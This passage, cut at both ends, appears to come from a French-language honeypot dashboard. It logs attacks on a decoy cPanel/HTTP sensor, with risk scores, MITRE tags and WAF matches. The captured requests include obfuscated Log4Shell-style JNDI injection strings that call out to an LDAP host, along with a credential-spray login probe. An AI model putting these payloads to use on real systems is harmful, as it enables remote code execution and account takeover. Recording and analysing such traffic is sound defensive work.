"payload_preview": "ZSDLKFJ2 \/${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned",
"port": 2083,
"service": "cpanel-ssl",
"service_label_fr": "CPANEL SSL"
},
"attack_vector": "deser php attack \u00b7 via CPANEL SSL:2083 \u00b7 (tentative d'exploit)",
"evidence_snippet": "ZSDLKFJ2 \/${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned",
"target_port_label": "2083 \u00b7 CPANEL SSL",
"emulator_service": "cpanel-ssl",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "cpanel_ssl",
"service_banner": "honeypot-cpanel-ssl",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"cpanel-ssl",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"cpanel_ssl_emulated",
"net_cpanel_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:15:39 UTC
TCP
2083 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:2083 · (sonde / probe) · → /login
Élevée
Élevé · 68
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
2083
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:2083
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Int
Requête brute (extrait)
POST /login HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:2083 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Length: 2840 Content-Type:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "67eaca241c6dfd51f5189023397b7c1347b672ff",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 3133,
"payload_entropy": 4.590044952476798,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "baa7ada733d75c9d97fea36436dab9473170666f",
"event_fingerprint": "61e60889b41e4ab16c206776662bbd913e73f759",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "af27c1363eb71d409453bb5550c945b4",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2840\r\nContent-Type: ",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2840\r\nContent-Type: ",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "28b2855a8f364fc64fbf19d0cabd822457415522",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Int",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"cpanel-ssl",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:15:38 UTC
TCP
2083 · HTTP
Sonde port 2083/TCP
port 2083 tcp · via HTTP:2083 · (sonde / probe) · → /${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4…
Élevée
Moyen · 57
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:me… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-/}${ny:8cnu:-/}${4te1:t28:-P}${48:9:-A}${9o:g:-l}${gw9:hnx:-0}${z753:-c}${bvl:g2:--}${${9m:-s}${rfs:d9:i:-y}${r:3uh:-s}${u584:y54:cfl2:-:}${ialu:-j}${2j:-a}${z0ky:cv:-v}${yt:-a}${r8s:u:1y:-.}${ljrn:-v}${rq:-e}${qd2:-r}${yn8h:j1:-s}${d1:ua2h:-i}${4:-o}${m9cs:rz:qo0:-n}}${0m:8nfy:-.}${0:1i:fdur:-3}${d:9:-5}${i0:-5}${4n:p:-e}${him0:wsyi:-d}${n8v:twfh:c:-a}${2:fhn:t3oa:-d}${
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
2083
Chemin / cible
/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-/}${ny:8cnu:-/}${4te…
Preuve honeypot — Sonde port 2083/TCP
Connexion détectée sur le port 2083 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_2083_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 57
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-/}${ny:8cnu:-/}${4te1:t28:-P}${48:9:-A}${9o:g:-l}${gw9:hnx:-0}${z753:-c}${bvl:g2:--}${${9m:-s}${rfs:d9:i:-y}${r:3uh:-s}${u584:y54:cfl2:-:}${ialu:-j}${2j:-a}${z0ky:cv:-v}${yt:-a}${r8s:u:1y:-.}${ljrn:-v}${rq:-e}${qd2:-r}${yn8h:j1:-s}${d1:ua2h:-i}${4:-o}${m9cs:rz:qo0:-n}}${0m:8nfy:-.}${0:1i:fdur:-3}${d:9:-5}${i0:-5}${4n:p:-e}${him0:wsyi:-d}${n8v:twfh:c:-a}${2:fhn:t3oa:-
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r
Requête brute (extrait)
GET /${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-/}${ny:8cnu:-/}${4te1:t28:-P}${48:9:-A}${9o:g:-l}${gw9:hnx:-0}${z753:-c}${bvl:g2:--}${${9m:-s}${rfs:d9:i:-y}${r:3
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${2s:4:-g}${ugt2:jd35:-o}${p4bc:648:-o}${wtvn:6yd9:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "67eaca241c6dfd51f5189023397b7c1347b672ff",
"http_target_hash": "66d3953693bb6f6bc2dc72f4807bd20878701b4a",
"http_referer_hash": "6f5e4e0ee7e3753717b475ef8fdbd2bf1f9e8352",
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.865882741662572,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 2.7,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 57,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "5f2f0d99448d3ab8e40b424736e8c78b2ad015a9",
"event_fingerprint": "fc4293a955b74d779269abf5ba6cdafb36eff52d",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 57,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "7a5a31fae8555e9967b4294426f8208a",
"path_pattern_hash": "4c295985eede88ab844450a29784fa29"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 57
},
"method": "GET",
"path": "\/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-\/}${ny:8cnu:-\/}${4te1:t28:-P}${48:9:-A}${9o:g:-l}${gw9:hnx:-0}${z753:-c}${bvl:g2:--}${${9m:-s}${rfs:d9:i:-y}${r:3uh:-s}${u584:y54:cfl2:-:}${ialu:-j}${2j:-a}${z0ky:cv:-v}${yt:-a}${r8s:u:1y:-.}${ljrn:-v}${rq:-e}${qd2:-r}${yn8h:j1:-s}${d1:ua2h:-i}${4:-o}${m9cs:rz:qo0:-n}}${0m:8nfy:-.}${0:1i:fdur:-3}${d:9:-5}${i0:-5}${4n:p:-e}${him0:wsyi:-d}${n8v:twfh:c:-a}${2:fhn:t3oa:-d}${",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-\/}${ny:8cnu:-\/}${4te1:t28:-P}${48:9:-A}${9o:g:-l}${gw9:hnx:-0}${z753:-c}${bvl:g2:--}${${9m:-s}${rfs:d9:i:-y}${r:3uh:-s}${u584:y54:cfl2:-:}${ialu:-j}${2j:-a}${z0ky:cv:-v}${yt:-a}${r8s:u:1y:-.}${ljrn:-v}${rq:-e}${qd2:-r}${yn8h:j1:-s}${d1:ua2h:-i}${4:-o}${m9cs:rz:qo0:-n}}${0m:8nfy:-.}${0:1i:fdur:-3}${d:9:-5}${i0:-5}${4n:p:-e}${him0:wsyi:-d}${n8v:twfh:c:-a}${2:fhn:t3oa:-",
"payload_snippet": "GET \/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r",
"evidence": {
"method": "GET",
"path": "\/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-\/}${ny:8cnu:-\/}${4te1:t28:-P}${48:9:-A}${9o:g:-l}${gw9:hnx:-0}${z753:-c}${bvl:g2:--}${${9m:-s}${rfs:d9:i:-y}${r:3uh:-s}${u584:y54:cfl2:-:}${ialu:-j}${2j:-a}${z0ky:cv:-v}${yt:-a}${r8s:u:1y:-.}${ljrn:-v}${rq:-e}${qd2:-r}${yn8h:j1:-s}${d1:ua2h:-i}${4:-o}${m9cs:rz:qo0:-n}}${0m:8nfy:-.}${0:1i:fdur:-3}${d:9:-5}${i0:-5}${4n:p:-e}${him0:wsyi:-d}${n8v:twfh:c:-a}${2:fhn:t3oa:-d}${",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-\/}${ny:8cnu:-\/}${4te1:t28:-P}${48:9:-A}${9o:g:-l}${gw9:hnx:-0}${z753:-c}${bvl:g2:--}${${9m:-s}${rfs:d9:i:-y}${r:3uh:-s}${u584:y54:cfl2:-:}${ialu:-j}${2j:-a}${z0ky:cv:-v}${yt:-a}${r8s:u:1y:-.}${ljrn:-v}${rq:-e}${qd2:-r}${yn8h:j1:-s}${d1:ua2h:-i}${4:-o}${m9cs:rz:qo0:-n}}${0m:8nfy:-.}${0:1i:fdur:-3}${d:9:-5}${i0:-5}${4n:p:-e}${him0:wsyi:-d}${n8v:twfh:c:-a}${2:fhn:t3oa:-",
"request_sample": "GET \/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-\/}${ny:8cnu:-\/}${4te1:t28:-P}${48:9:-A}${9o:g:-l}${gw9:hnx:-0}${z753:-c}${bvl:g2:--}${${9m:-s}${rfs:d9:i:-y}${r:3",
"payload_snippet": "GET \/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "76e4a55c1fcea331ac0fac868f68dc22430de545",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-\/}${ny:8cnu:-\/}${4te\u2026",
"request_line": "GET \/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r:-:}${t:02:v9:-\/}${ny:8cnu:-\/}${4te1:t28:-P}${48:9:-A}${9o:g:-l}${gw9:h\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4u:7:-i}${bsy:q20:-:}${e1a:9fv:-l}${bi:bpkv:-d}${c:mek:f:-a}${3:5:-p}${bwu:t8r",
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${fund:-j}${y76:c9:-n}${gvr:pr12:-d}${ep5:b4\u2026",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
